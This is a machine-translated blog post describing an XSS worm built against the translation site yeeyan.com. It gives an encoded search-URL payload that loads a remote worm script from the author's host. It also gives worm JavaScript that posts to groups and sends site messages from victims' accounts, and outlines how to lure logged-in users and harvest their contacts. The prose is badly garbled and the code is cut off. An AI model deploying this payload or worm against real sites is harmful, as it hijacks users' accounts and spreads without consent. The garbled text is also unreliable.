http://www.yeeyan.com/is a "discovery, translation, reading Chinese outside the Internet essence" of the web2.0 website, filtering system is really BT, but its search engine has a cross station, its search engine is really enough BT, escape single quotes, double quotes, and when the search value contains an English colon : The search results are not returned. So I can only construct this:
Http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval (%53%74ring.f%72om%43%68ar%43ode ( 100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58 , 47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41 ))%3c/s%63%72ipt%3e
There was nothing fun about the search engine crossing, but this time in Yeeyan it was possible to use this easily overlooked point to birth an XSS WORM. The worm must be born to address the following points:
How does the Q1, above search Engine XSS trap include remote worms?
A1, because the worm has so many code that it is not possible to appear in this XSS trap at once (in contrast: to replicate its own micro-XSS worm), try to use this XSS trap to invoke the remote worm. A lot of ways, you decode this XSS trap to know my method:
Q2, how do I get other Authenticated users to access this search Engine XSS Trap?
A2, first to a few users in the station letter (borrow the worm itself can be sent in bulk:), spoofing their access, once they have access, the XSS trap will call the remote worm, the worm will get their buddy information and their mailbox information, and so on, there are other user information. So this search Engine XSS trap can be spread with the station inside the letter system massively.
How do Q2 and worms get the user flags information to access the search Engine XSS trap?
A3, this is important, the spread of worms is a lot of host, to obtain these hosts must be able to get the specific user information clearly, such as his ID, his space address and so on. Once the worm spreads, it is explosive:.
I have solved all these problems, so Yeeyan's search Engine XSS worm was successfully born. The worm part of the code is as follows:
var _x=false;
if (window. XMLHttpRequest) {
_x=new XMLHttpRequest ();
}else if (window. ActiveXObject) {
_x=new ActiveXObject ("msxml2.xmlhttp");
if (!_x) {_x=new ActiveXObject ("Microsoft.XMLHTTP");}
}
_1 ();
function _1 () {
var _u=_3or7 ("Get", "HTTP://WWW.YEEYAN.COM/SPACE/SHOWME", null);
Re=/\<a href=\ "\/space\/groups\/(. *?) \ ">/i
R=_u.match (re);
Src= "http://www.yeeyan.com/groups/newTopic/";
var _txt= "HELLO Yeeyan";
argv_1= "\ r \ n";
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[post][content]\" \r\n\r\n ";
argv_1+= (_txt+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "Ymsggroup\" \r\n\r\n ";
argv_1+= ("" + "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "ymsgee\" \r\n\r\n ";
argv_1+= (r[1]+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "ymsgee_username\" \r\n\r\n ";
argv_1+= (r[1]+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5--\r\n";
_3OR7 ("POST", src,argv_1);
var _del=_3or7 ("Get", "http://www.yeeyan.com/space/deleteEvent/15429", null);
Delete a record just like this:
_2 ();
}
function _2 () {
Src= "Http://www.yeeyan.com/space/compose_message";
var _to= "Yasmin";
var _s= "Yeeyan";
var _m= "HELLO:)"
argv_1= "\ r \ n";
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[receiver_name]\" \r\n\r\n ";
argv_1+= (_to+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[subject]\" \r\n\r\n ";
argv_1+= (_s+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[message][content]\" \r\n\r\n ";
argv_1+= (_m+ "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[message_id]\" \r\n\r\n ";
argv_1+= ("" + "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5\r\ncontent-disposition:form-data; Name=\ "data[action]\" \r\n\r\n ";
argv_1+= ("send" + "\ r \ n");
argv_1+= "---------------------7964f8dddeb95fc5--\r\n";
_3OR7 ("POST", src,argv_1);
Alert (0);
}
function _3or7 (_m,_s,_a) {
_x.open (_m,_s,false);
if (_m== "POST") _x.setrequestheader ("Content-type", "Multipart/form-data; boundary=------------------- 7964f8dddeb95fc5 ");
_x.send (_a);
return _x.responsetext;
To understand this code can refer to my previous article, here is a clue: http://www.0x37.com/post/2.html. The purpose of my writing this worm is to verify the http://www.0x37.com/post/2.html of the method I mentioned in this article, I can only say that the foreigner is a bit irresponsible: I have to code again, this method works in theory, but I have a bit of trouble at the moment. or construct an HTTP message header to post the worm information cool. I did it for the first time by using a search engine to birth a worm. Just meet the XSS trap and Target attack point in the strict same domain OK.
